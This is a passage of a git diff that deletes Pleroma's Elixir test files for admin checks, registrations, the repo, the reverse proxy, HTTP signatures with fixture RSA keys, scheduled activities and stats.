8bc00e444..000000000 --- a/test/plugs/user_is_admin_plug_test.exs +++ /dev/null @@ -1,37 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.UserIsAdminPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.UserIsAdminPlug - import Pleroma.Factory - - test "accepts a user that is an admin" do - user = insert(:user, is_admin: true) - - conn = assign(build_conn(), :user, user) - - ret_conn = UserIsAdminPlug.call(conn, %{}) - - assert conn == ret_conn - end - - test "denies a user that isn't an admin" do - user = insert(:user) - - conn = - build_conn() - |> assign(:user, user) - |> UserIsAdminPlug.call(%{}) - - assert conn.status == 403 - end - - test "denies when a user isn't set" do - conn = UserIsAdminPlug.call(build_conn(), %{}) - - assert conn.status == 403 - end -end diff --git a/test/registration_test.exs b/test/registration_test.exs deleted file mode 100644 index 7db8e3664..000000000 --- a/test/registration_test.exs +++ /dev/null @@ -1,59 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.RegistrationTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Registration - alias Pleroma.Repo - - describe "generic changeset" do - test "requires :provider, :uid" do - registration = build(:registration, provider: nil, uid: nil) - - cs = Registration.changeset(registration, %{}) - refute cs.valid? - - assert [ - provider: {"can't be blank", [validation: :required]}, - uid: {"can't be blank", [validation: :required]} - ] == cs.errors - end - - test "ensures uniqueness of [:provider, :uid]" do - registration = insert(:registration) - registration2 = build(:registration, provider: registration.provider, uid: registration.uid) - - cs = Registration.changeset(registration2, %{}) - assert cs.valid? - - assert {:error, - %Ecto.Changeset{ - errors: [ - uid: - {"has already been taken", - [constraint: :unique, constraint_name: "registrations_provider_uid_index"]} - ] - }} = Repo.insert(cs) - - # Note: multiple :uid values per [:user_id, :provider] are intentionally allowed - cs2 = Registration.changeset(registration2, %{uid: "available.uid"}) - assert cs2.valid? - assert {:ok, _} = Repo.insert(cs2) - - cs3 = Registration.changeset(registration2, %{provider: "provider2"}) - assert cs3.valid? - assert {:ok, _} = Repo.insert(cs3) - end - - test "allows `nil` :user_id (user-unbound registration)" do - registration = build(:registration, user_id: nil) - cs = Registration.changeset(registration, %{}) - assert cs.valid? - assert {:ok, _} = Repo.insert(cs) - end - end -end diff --git a/test/repo_test.exs b/test/repo_test.exs deleted file mode 100644 index 155791be2..000000000 --- a/test/repo_test.exs +++ /dev/null @@ -1,80 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.RepoTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.User - - describe "find_resource/1" do - test "returns user" do - user = insert(:user) - query = from(t in User, where: t.id == ^user.id) - assert Repo.find_resource(query) == {:ok, user} - end - - test "returns not_found" do - query = from(t in User, where: t.id == ^"9gBuXNpD2NyDmmxxdw") - assert Repo.find_resource(query) == {:error, :not_found} - end - end - - describe "get_assoc/2" do - test "get assoc from preloaded data" do - user = %User{name: "Agent Smith"} - token = %Pleroma.Web.OAuth.Token{insert(:oauth_token) | user: user} - assert Repo.get_assoc(token, :user) == {:ok, user} - end - - test "get one-to-one assoc from repo" do - user = insert(:user, name: "Jimi Hendrix") - token = refresh_record(insert(:oauth_token, user: user)) - - assert Repo.get_assoc(token, :user) == {:ok, user} - end - - test "get one-to-many assoc from repo" do - user = insert(:user) - - notification = - refresh_record(insert(:notification, user: user, activity: insert(:note_activity))) - - assert Repo.get_assoc(user, :notifications) == {:ok, [notification]} - end - - test "return error if has not assoc " do - token = insert(:oauth_token, user: nil) - assert Repo.get_assoc(token, :user) == {:error, :not_found} - end - end - - describe "chunk_stream/3" do - test "fetch records one-by-one" do - users = insert_list(50, :user) - - {fetch_users, 50} = - from(t in User) - |> Repo.chunk_stream(5) - |> Enum.reduce({[], 0}, fn %User{} = user, {acc, count} -> - {acc ++ [user], count + 1} - end) - - assert users == fetch_users - end - - test "fetch records in bulk" do - users = insert_list(50, :user) - - {fetch_users, 10} = - from(t in User) - |> Repo.chunk_stream(5, :batches) - |> Enum.reduce({[], 0}, fn users, {acc, count} -> - {acc ++ users, count + 1} - end) - - assert users == fetch_users - end - end -end diff --git a/test/reverse_proxy/reverse_proxy_test.exs b/test/reverse_proxy/reverse_proxy_test.exs deleted file mode 100644 index 8df63de65..000000000 --- a/test/reverse_proxy/reverse_proxy_test.exs +++ /dev/null @@ -1,336 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ReverseProxyTest do - use Pleroma.Web.ConnCase, async: true - - import ExUnit.CaptureLog - import Mox - - alias Pleroma.ReverseProxy - alias Pleroma.ReverseProxy.ClientMock - alias Plug.Conn - - setup_all do - {:ok, _} = Registry.start_link(keys: :unique, name: ClientMock) - :ok - end - - setup :verify_on_exit! - - defp user_agent_mock(user_agent, invokes) do - json = Jason.encode!(%{"user-agent": user_agent}) - - ClientMock - |> expect(:request, fn :get, url, _, _, _ -> - Registry.register(ClientMock, url, 0) - - {:ok, 200, - [ - {"content-type", "application/json"}, - {"content-length", byte_size(json) |> to_string()} - ], %{url: url}} - end) - |> expect(:stream_body, invokes, fn %{url: url} = client -> - case Registry.lookup(ClientMock, url) do - [{_, 0}] -> - Registry.update_value(ClientMock, url, &(&1 + 1)) - {:ok, json, client} - - [{_, 1}] -> - Registry.unregister(ClientMock, url) - :done - end - end) - end - - describe "reverse proxy" do - test "do not track successful request", %{conn: conn} do - user_agent_mock("hackney/1.15.1", 2) - url = "/success" - - conn = ReverseProxy.call(conn, url) - - assert conn.status == 200 - assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, nil} - end - end - - describe "user-agent" do - test "don't keep", %{conn: conn} do - user_agent_mock("hackney/1.15.1", 2) - conn = ReverseProxy.call(conn, "/user-agent") - assert json_response(conn, 200) == %{"user-agent" => "hackney/1.15.1"} - end - - test "keep", %{conn: conn} do - user_agent_mock(Pleroma.Application.user_agent(), 2) - conn = ReverseProxy.call(conn, "/user-agent-keep", keep_user_agent: true) - assert json_response(conn, 200) == %{"user-agent" => Pleroma.Application.user_agent()} - end - end - - test "closed connection", %{conn: conn} do - ClientMock - |> expect(:request, fn :get, "/closed", _, _, _ -> {:ok, 200, [], %{}} end) - |> expect(:stream_body, fn _ -> {:error, :closed} end) - |> expect(:close, fn _ -> :ok end) - - conn = ReverseProxy.call(conn, "/closed") - assert conn.halted - end - - defp stream_mock(invokes, with_close? \\ false) do - ClientMock - |> expect(:request, fn :get, "/stream-bytes/" <> length, _, _, _ -> - Registry.register(ClientMock, "/stream-bytes/" <> length, 0) - - {:ok, 200, [{"content-type", "application/octet-stream"}], - %{url: "/stream-bytes/" <> length}} - end) - |> expect(:stream_body, invokes, fn %{url: "/stream-bytes/" <> length} = client -> - max = String.to_integer(length) - - case Registry.lookup(ClientMock, "/stream-bytes/" <> length) do - [{_, current}] when current < max -> - Registry.update_value( - ClientMock, - "/stream-bytes/" <> length, - &(&1 + 10) - ) - - {:ok, "0123456789", client} - - [{_, ^max}] -> - Registry.unregister(ClientMock, "/stream-bytes/" <> length) - :done - end - end) - - if with_close? do - expect(ClientMock, :close, fn _ -> :ok end) - end - end - - describe "max_body" do - test "length returns error if content-length more than option", %{conn: conn} do - user_agent_mock("hackney/1.15.1", 0) - - assert capture_log(fn -> - ReverseProxy.call(conn, "/huge-file", max_body_length: 4) - end) =~ - "[error] Elixir.Pleroma.ReverseProxy: request to \"/huge-file\" failed: :body_too_large" - - assert {:ok, true} == Cachex.get(:failed_proxy_url_cache, "/huge-file") - - assert capture_log(fn -> - ReverseProxy.call(conn, "/huge-file", max_body_length: 4) - end) == "" - end - - test "max_body_length returns error if streaming body more than that option", %{conn: conn} do - stream_mock(3, true) - - assert capture_log(fn -> - ReverseProxy.call(conn, "/stream-bytes/50", max_body_length: 30) - end) =~ - "[warn] Elixir.Pleroma.ReverseProxy request to /stream-bytes/50 failed while reading/chunking: :body_too_large" - end - end - - describe "HEAD requests" do - test "common", %{conn: conn} do - ClientMock - |> expect(:request, fn :head, "/head", _, _, _ -> - {:ok, 200, [{"content-type", "text/html; charset=utf-8"}]} - end) - - conn = ReverseProxy.call(Map.put(conn, :method, "HEAD"), "/head") - assert html_response(conn, 200) == "" - end - end - - defp error_mock(status) when is_integer(status) do - ClientMock - |> expect(:request, fn :get, "/status/" <> _, _, _, _ -> - {:error, status} - end) - end - - describe "returns error on" do - test "500", %{conn: conn} do - error_mock(500) - url = "/status/500" - - capture_log(fn -> ReverseProxy.call(conn, url) end) =~ - "[error] Elixir.Pleroma.ReverseProxy: request to /status/500 failed with HTTP status 500" - - assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true} - - {:ok, ttl} = Cachex.ttl(:failed_proxy_url_cache, url) - assert ttl <= 60_000 - end - - test "400", %{conn: conn} do - error_mock(400) - url = "/status/400" - - capture_log(fn -> ReverseProxy.call(conn, url) end) =~ - "[error] Elixir.Pleroma.ReverseProxy: request to /status/400 failed with HTTP status 400" - - assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true} - assert Cachex.ttl(:failed_proxy_url_cache, url) == {:ok, nil} - end - - test "403", %{conn: conn} do - error_mock(403) - url = "/status/403" - - capture_log(fn -> - ReverseProxy.call(conn, url, failed_request_ttl: :timer.seconds(120)) - end) =~ - "[error] Elixir.Pleroma.ReverseProxy: request to /status/403 failed with HTTP status 403" - - {:ok, ttl} = Cachex.ttl(:failed_proxy_url_cache, url) - assert ttl > 100_000 - end - - test "204", %{conn: conn} do - url = "/status/204" - expect(ClientMock, :request, fn :get, _url, _, _, _ -> {:ok, 204, [], %{}} end) - - capture_log(fn -> - conn = ReverseProxy.call(conn, url) - assert conn.resp_body == "Request failed: No Content" - assert conn.halted - end) =~ - "[error] Elixir.Pleroma.ReverseProxy: request to \"/status/204\" failed with HTTP status 204" - - assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true} - assert Cachex.ttl(:failed_proxy_url_cache, url) == {:ok, nil} - end - end - - test "streaming", %{conn: conn} do - stream_mock(21) - conn = ReverseProxy.call(conn, "/stream-bytes/200") - assert conn.state == :chunked - assert byte_size(conn.resp_body) == 200 - assert Conn.get_resp_header(conn, "content-type") == ["application/octet-stream"] - end - - defp headers_mock(_) do - ClientMock - |> expect(:request, fn :get, "/headers", headers, _, _ -> - Registry.register(ClientMock, "/headers", 0) - {:ok, 200, [{"content-type", "application/json"}], %{url: "/headers", headers: headers}} - end) - |> expect(:stream_body, 2, fn %{url: url, headers: headers} = client -> - case Registry.lookup(ClientMock, url) do - [{_, 0}] -> - Registry.update_value(ClientMock, url, &(&1 + 1)) - headers = for {k, v} <- headers, into: %{}, do: {String.capitalize(k), v} - {:ok, Jason.encode!(%{headers: headers}), client} - - [{_, 1}] -> - Registry.unregister(ClientMock, url) - :done - end - end) - - :ok - end - - describe "keep request headers" do - setup [:headers_mock] - - test "header passes", %{conn: conn} do - conn = - Conn.put_req_header( - conn, - "accept", - "text/html" - ) - |> ReverseProxy.call("/headers") - - %{"headers" => headers} = json_response(conn, 200) - assert headers["Accept"] == "text/html" - end - - test "header is filtered", %{conn: conn} do - conn = - Conn.put_req_header( - conn, - "accept-language", - "en-US" - ) - |> ReverseProxy.call("/headers") - - %{"headers" => headers} = json_response(conn, 200) - refute headers["Accept-Language"] - end - end - - test "returns 400 on non GET, HEAD requests", %{conn: conn} do - conn = ReverseProxy.call(Map.put(conn, :method, "POST"), "/ip") - assert conn.status == 400 - end - - describe "cache resp headers" do - test "add cache-control", %{conn: conn} do - ClientMock - |> expect(:request, fn :get, "/cache", _, _, _ -> - {:ok, 200, [{"ETag", "some ETag"}], %{}} - end) - |> expect(:stream_body, fn _ -> :done end) - - conn = ReverseProxy.call(conn, "/cache") - assert {"cache-control", "public, max-age=1209600"} in conn.resp_headers - end - end - - defp disposition_headers_mock(headers) do - ClientMock - |> expect(:request, fn :get, "/disposition", _, _, _ -> - Registry.register(ClientMock, "/disposition", 0) - - {:ok, 200, headers, %{url: "/disposition"}} - end) - |> expect(:stream_body, 2, fn %{url: "/disposition"} = client -> - case Registry.lookup(ClientMock, "/disposition") do - [{_, 0}] -> - Registry.update_value(ClientMock, "/disposition", &(&1 + 1)) - {:ok, "", client} - - [{_, 1}] -> - Registry.unregister(ClientMock, "/disposition") - :done - end - end) - end - - describe "response content disposition header" do - test "not atachment", %{conn: conn} do - disposition_headers_mock([ - {"content-type", "image/gif"}, - {"content-length", "0"} - ]) - - conn = ReverseProxy.call(conn, "/disposition") - - assert {"content-type", "image/gif"} in conn.resp_headers - end - - test "with content-disposition header", %{conn: conn} do - disposition_headers_mock([ - {"content-disposition", "attachment; filename=\"filename.jpg\""}, - {"content-length", "0"} - ]) - - conn = ReverseProxy.call(conn, "/disposition") - - assert {"content-disposition", "attachment; filename=\"filename.jpg\""} in conn.resp_headers - end - end -end diff --git a/test/runtime_test.exs b/test/runtime_test.exs deleted file mode 100644 index a1a6c57cd..000000000 --- a/test/runtime_test.exs +++ /dev/null @@ -1,11 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.RuntimeTest do - use ExUnit.Case, async: true - - test "it loads custom runtime modules" do - assert {:module, RuntimeModule} == Code.ensure_compiled(RuntimeModule) - end -end diff --git a/test/safe_jsonb_set_test.exs b/test/safe_jsonb_set_test.exs deleted file mode 100644 index 8b1274545..000000000 --- a/test/safe_jsonb_set_test.exs +++ /dev/null @@ -1,16 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.SafeJsonbSetTest do - use Pleroma.DataCase - - test "it doesn't wipe the object when asked to set the value to NULL" do - assert %{rows: [[%{"key" => "value", "test" => nil}]]} = - Ecto.Adapters.SQL.query!( - Pleroma.Repo, - "select safe_jsonb_set('{\"key\": \"value\"}'::jsonb, '{test}', NULL);", - [] - ) - end -end diff --git a/test/scheduled_activity_test.exs b/test/scheduled_activity_test.exs deleted file mode 100644 index 7faa5660d..000000000 --- a/test/scheduled_activity_test.exs +++ /dev/null @@ -1,105 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ScheduledActivityTest do - use Pleroma.DataCase - alias Pleroma.DataCase - alias Pleroma.ScheduledActivity - import Pleroma.Factory - - setup do: clear_config([ScheduledActivity, :enabled]) - - setup context do - DataCase.ensure_local_uploader(context) - end - - describe "creation" do - test "scheduled activities with jobs when ScheduledActivity enabled" do - Pleroma.Config.put([ScheduledActivity, :enabled], true) - user = insert(:user) - - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - - attrs = %{params: %{}, scheduled_at: today} - {:ok, sa1} = ScheduledActivity.create(user, attrs) - {:ok, sa2} = ScheduledActivity.create(user, attrs) - - jobs = - Repo.all(from(j in Oban.Job, where: j.queue == "scheduled_activities", select: j.args)) - - assert jobs == [%{"activity_id" => sa1.id}, %{"activity_id" => sa2.id}] - end - - test "scheduled activities without jobs when ScheduledActivity disabled" do - Pleroma.Config.put([ScheduledActivity, :enabled], false) - user = insert(:user) - - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - - attrs = %{params: %{}, scheduled_at: today} - {:ok, _sa1} = ScheduledActivity.create(user, attrs) - {:ok, _sa2} = ScheduledActivity.create(user, attrs) - - jobs = - Repo.all(from(j in Oban.Job, where: j.queue == "scheduled_activities", select: j.args)) - - assert jobs == [] - end - - test "when daily user limit is exceeded" do - user = insert(:user) - - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - - attrs = %{params: %{}, scheduled_at: today} - {:ok, _} = ScheduledActivity.create(user, attrs) - {:ok, _} = ScheduledActivity.create(user, attrs) - - {:error, changeset} = ScheduledActivity.create(user, attrs) - assert changeset.errors == [scheduled_at: {"daily limit exceeded", []}] - end - - test "when total user limit is exceeded" do - user = insert(:user) - - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - - tomorrow = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.hours(36), :millisecond) - |> NaiveDateTime.to_iso8601() - - {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: today}) - {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: today}) - {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) - {:error, changeset} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) - assert changeset.errors == [scheduled_at: {"total limit exceeded", []}] - end - - test "when scheduled_at is earlier than 5 minute from now" do - user = insert(:user) - - scheduled_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(4), :millisecond) - |> NaiveDateTime.to_iso8601() - - attrs = %{params: %{}, scheduled_at: scheduled_at} - {:error, changeset} = ScheduledActivity.create(user, attrs) - assert changeset.errors == [scheduled_at: {"must be at least 5 minutes from now", []}] - end - end -end diff --git a/test/signature_test.exs b/test/signature_test.exs deleted file mode 100644 index a7a75aa4d..000000000 --- a/test/signature_test.exs +++ /dev/null @@ -1,134 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.SignatureTest do - use Pleroma.DataCase - - import ExUnit.CaptureLog - import Pleroma.Factory - import Tesla.Mock - import Mock - - alias Pleroma.Signature - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - @private_key "-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA48qb4v6kqigZutO9Ot0wkp27GIF2LiVaADgxQORZozZR63jH\nTaoOrS3Xhngbgc8SSOhfXET3omzeCLqaLNfXnZ8OXmuhJfJSU6mPUvmZ9QdT332j\nfN/g3iWGhYMf/M9ftCKh96nvFVO/tMruzS9xx7tkrfJjehdxh/3LlJMMImPtwcD7\nkFXwyt1qZTAU6Si4oQAJxRDQXHp1ttLl3Ob829VM7IKkrVmY8TD+JSlV0jtVJPj6\n1J19ytKTx/7UaucYvb9HIiBpkuiy5n/irDqKLVf5QEdZoNCdojOZlKJmTLqHhzKP\n3E9TxsUjhrf4/EqegNc/j982RvOxeu4i40zMQwIDAQABAoIBAQDH5DXjfh21i7b4\ncXJuw0cqget617CDUhemdakTDs9yH+rHPZd3mbGDWuT0hVVuFe4vuGpmJ8c+61X0\nRvugOlBlavxK8xvYlsqTzAmPgKUPljyNtEzQ+gz0I+3mH2jkin2rL3D+SksZZgKm\nfiYMPIQWB2WUF04gB46DDb2mRVuymGHyBOQjIx3WC0KW2mzfoFUFRlZEF+Nt8Ilw\nT+g/u0aZ1IWoszbsVFOEdghgZET0HEarum0B2Je/ozcPYtwmU10iBANGMKdLqaP/\nj954BPunrUf6gmlnLZKIKklJj0advx0NA+cL79+zeVB3zexRYSA5o9q0WPhiuTwR\n/aedWHnBAoGBAP0sDWBAM1Y4TRAf8ZI9PcztwLyHPzfEIqzbObJJnx1icUMt7BWi\n+/RMOnhrlPGE1kMhOqSxvXYN3u+eSmWTqai2sSH5Hdw2EqnrISSTnwNUPINX7fHH\njEkgmXQ6ixE48SuBZnb4w1EjdB/BA6/sjL+FNhggOc87tizLTkMXmMtTAoGBAOZV\n+wPuAMBDBXmbmxCuDIjoVmgSlgeRunB1SA8RCPAFAiUo3+/zEgzW2Oz8kgI+xVwM\n33XkLKrWG1Orhpp6Hm57MjIc5MG+zF4/YRDpE/KNG9qU1tiz0UD5hOpIU9pP4bR/\ngxgPxZzvbk4h5BfHWLpjlk8UUpgk6uxqfti48c1RAoGBALBOKDZ6HwYRCSGMjUcg\n3NPEUi84JD8qmFc2B7Tv7h2he2ykIz9iFAGpwCIyETQsJKX1Ewi0OlNnD3RhEEAy\nl7jFGQ+mkzPSeCbadmcpYlgIJmf1KN/x7fDTAepeBpCEzfZVE80QKbxsaybd3Dp8\nCfwpwWUFtBxr4c7J+gNhAGe/AoGAPn8ZyqkrPv9wXtyfqFjxQbx4pWhVmNwrkBPi\nZ2Qh3q4dNOPwTvTO8vjghvzIyR8rAZzkjOJKVFgftgYWUZfM5gE7T2mTkBYq8W+U\n8LetF+S9qAM2gDnaDx0kuUTCq7t87DKk6URuQ/SbI0wCzYjjRD99KxvChVGPBHKo\n1DjqMuECgYEAgJGNm7/lJCS2wk81whfy/ttKGsEIkyhPFYQmdGzSYC5aDc2gp1R3\nxtOkYEvdjfaLfDGEa4UX8CHHF+w3t9u8hBtcdhMH6GYb9iv6z0VBTt4A/11HUR49\n3Z7TQ18Iyh3jAUCzFV9IJlLIExq5Y7P4B3ojWFBN607sDCt8BMPbDYs=\n-----END RSA PRIVATE KEY-----" - - @public_key "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0P/Tq4gb4G/QVuMGbJo\nC/AfMNcv+m7NfrlOwkVzcU47jgESuYI4UtJayissCdBycHUnfVUd9qol+eznSODz\nCJhfJloqEIC+aSnuEPGA0POtWad6DU0E6/Ho5zQn5WAWUwbRQqowbrsm/GHo2+3v\neR5jGenwA6sYhINg/c3QQbksyV0uJ20Umyx88w8+TJuv53twOfmyDWuYNoQ3y5cc\nHKOZcLHxYOhvwg3PFaGfFHMFiNmF40dTXt9K96r7sbzc44iLD+VphbMPJEjkMuf8\nPGEFOBzy8pm3wJZw2v32RNW2VESwMYyqDzwHXGSq1a73cS7hEnc79gXlELsK04L9\nQQIDAQAB\n-----END PUBLIC KEY-----\n" - - @rsa_public_key { - :RSAPublicKey, - 24_650_000_183_914_698_290_885_268_529_673_621_967_457_234_469_123_179_408_466_269_598_577_505_928_170_923_974_132_111_403_341_217_239_999_189_084_572_368_839_502_170_501_850_920_051_662_384_964_248_315_257_926_552_945_648_828_895_432_624_227_029_881_278_113_244_073_644_360_744_504_606_177_648_469_825_063_267_913_017_309_199_785_535_546_734_904_379_798_564_556_494_962_268_682_532_371_146_333_972_821_570_577_277_375_020_977_087_539_994_500_097_107_935_618_711_808_260_846_821_077_839_605_098_669_707_417_692_791_905_543_116_911_754_774_323_678_879_466_618_738_207_538_013_885_607_095_203_516_030_057_611_111_308_904_599_045_146_148_350_745_339_208_006_497_478_057_622_336_882_506_112_530_056_970_653_403_292_123_624_453_213_574_011_183_684_739_084_105_206_483_178_943_532_208_537_215_396_831_110_268_758_639_826_369_857, - # credo:disable-for-previous-line Credo.Check.Readability.MaxLineLength - 65_537 - } - - defp make_fake_signature(key_id), do: "keyId=\"#{key_id}\"" - - defp make_fake_conn(key_id), - do: %Plug.Conn{req_headers: %{"signature" => make_fake_signature(key_id <> "#main-key")}} - - describe "fetch_public_key/1" do - test "it returns key" do - expected_result = {:ok, @rsa_public_key} - - user = insert(:user, public_key: @public_key) - - assert Signature.fetch_public_key(make_fake_conn(user.ap_id)) == expected_result - end - - test "it returns error when not found user" do - assert capture_log(fn -> - assert Signature.fetch_public_key(make_fake_conn("https://test-ap-id")) == - {:error, :error} - end) =~ "[error] Could not decode user" - end - - test "it returns error if public key is nil" do - user = insert(:user, public_key: nil) - - assert Signature.fetch_public_key(make_fake_conn(user.ap_id)) == {:error, :error} - end - end - - describe "refetch_public_key/1" do - test "it returns key" do - ap_id = "https://mastodon.social/users/lambadalambda" - - assert Signature.refetch_public_key(make_fake_conn(ap_id)) == {:ok, @rsa_public_key} - end - - test "it returns error when not found user" do - assert capture_log(fn -> - {:error, _} = Signature.refetch_public_key(make_fake_conn("https://test-ap_id")) - end) =~ "[error] Could not decode user" - end - end - - describe "sign/2" do - test "it returns signature headers" do - user = - insert(:user, %{ - ap_id: "https://mastodon.social/users/lambadalambda", - keys: @private_key - }) - - assert Signature.sign( - user, - %{ - host: "test.test", - "content-length": 100 - } - ) == - "keyId=\"https://mastodon.social/users/lambadalambda#main-key\",algorithm=\"rsa-sha256\",headers=\"content-length host\",signature=\"sibUOoqsFfTDerquAkyprxzDjmJm6erYc42W5w1IyyxusWngSinq5ILTjaBxFvfarvc7ci1xAi+5gkBwtshRMWm7S+Uqix24Yg5EYafXRun9P25XVnYBEIH4XQ+wlnnzNIXQkU3PU9e6D8aajDZVp3hPJNeYt1gIPOA81bROI8/glzb1SAwQVGRbqUHHHKcwR8keiR/W2h7BwG3pVRy4JgnIZRSW7fQogKedDg02gzRXwUDFDk0pr2p3q6bUWHUXNV8cZIzlMK+v9NlyFbVYBTHctAR26GIAN6Hz0eV0mAQAePHDY1mXppbA8Gpp6hqaMuYfwifcXmcc+QFm4e+n3A==\"" - end - - test "it returns error" do - user = insert(:user, %{ap_id: "https://mastodon.social/users/lambadalambda", keys: ""}) - - assert Signature.sign( - user, - %{host: "test.test", "content-length": 100} - ) == {:error, []} - end - end - - describe "key_id_to_actor_id/1" do - test "it properly deduces the actor id for misskey" do - assert Signature.key_id_to_actor_id("https://example.com/users/1234/publickey") == - {:ok, "https://example.com/users/1234"} - end - - test "it properly deduces the actor id for mastodon and pleroma" do - assert Signature.key_id_to_actor_id("https://example.com/users/1234#main-key") == - {:ok, "https://example.com/users/1234"} - end - - test "it calls webfinger for 'acct:' accounts" do - with_mock(Pleroma.Web.WebFinger, - finger: fn _ -> %{"ap_id" => "https://gensokyo.2hu/users/raymoo"} end - ) do - assert Signature.key_id_to_actor_id("acct:raymoo@gensokyo.2hu") == - {:ok, "https://gensokyo.2hu/users/raymoo"} - end - end - end - - describe "signed_date" do - test "it returns formatted current date" do - with_mock(NaiveDateTime, utc_now: fn -> ~N[2019-08-23 18:11:24.822233] end) do - assert Signature.signed_date() == "Fri, 23 Aug 2019 18:11:24 GMT" - end - end - - test "it returns formatted date" do - assert Signature.signed_date(~N[2019-08-23 08:11:24.822233]) == - "Fri, 23 Aug 2019 08:11:24 GMT" - end - end -end diff --git a/test/stats_test.exs b/test/stats_test.exs deleted file mode 100644 index 74bf785b0..000000000 --- a/test/stats_test.exs +++ /dev/null @@ -1,122 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.StatsTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Stats - alias Pleroma.Web.CommonAPI - - describe "user count" do - test "it ignores internal users" do - _user = insert(:user, local: true) - _internal = insert(:user, local: true, nickname: nil) - _internal = Pleroma.Web.ActivityPub.Relay.get_actor() - - assert match?(%{stats: %{user_count: 1}}, Stats.calculate_stat_data()) - end - end - - describe "status visibility sum count" do - test "on new status" do - instance2 = "instance2.tld" - user = insert(:user) - other_user = insert(:user, %{ap_id: "https://#{instance2}/@actor"}) - - CommonAPI.post(user, %{visibility: "public", status: "hey"}) - - Enum.each(0..1, fn _ -> - CommonAPI.post(user, %{ - visibility: "unlisted", - status: "hey" - }) - end) - - Enum.each(0..2, fn _ -> - CommonAPI.post(user, %{ - visibility: "direct", - status: "hey @#{other_user.nickname}" - }) - end) - - Enum.each(0..3, fn _ -> - CommonAPI.post(user, %{ - visibility: "private", - status: "hey" - }) - end) - - assert %{"direct" => 3, "private" => 4, "public" => 1, "unlisted" => 2} = - Stats.get_status_visibility_count() - end - - test "on status delete" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) - assert %{"public" => 1} = Stats.get_status_visibility_count() - CommonAPI.delete(activity.id, user) - assert %{"public" => 0} = Stats.get_status_visibility_count() - end - - test "on status visibility update" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) - assert %{"public" => 1, "private" => 0} = Stats.get_status_visibility_count() - {:ok, _} = CommonAPI.update_activity_scope(activity.id, %{visibility: "private"}) - assert %{"public" => 0, "private" => 1} = Stats.get_status_visibility_count() - end - - test "doesn't count unrelated activities" do - user = insert(:user) - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) - _ = CommonAPI.follow(user, other_user) - CommonAPI.favorite(other_user, activity.id) - CommonAPI.repeat(activity.id, other_user) - - assert %{"direct" => 0, "private" => 0, "public" => 1, "unlisted" => 0} = - Stats.get_status_visibility_count() - end - end - - describe "status visibility by instance count" do - test "single instance" do - local_instance = Pleroma.Web.Endpoint.url() |> String.split("//") |> Enum.at(1) - instance2 = "instance2.tld" - user1 = insert(:user) - user2 = insert(:user, %{ap_id: "https://#{instance2}/@actor"}) - - CommonAPI.post(user1, %{visibility: "public", status: "hey"}) - - Enum.each(1..5, fn _ -> - CommonAPI.post(user1, %{ - visibility: "unlisted", - status: "hey" - }) - end) - - Enum.each(1..10, fn _ -> - CommonAPI.post(user1, %{ - visibility: "direct", - status: "hey @#{user2.nickname}" - }) - end) - - Enum.each(1..20, fn _ -> - CommonAPI.post(user2, %{ - visibility: "private", - status: "hey" - }) - end) - - assert %{"direct" => 10, "private" => 0, "public" 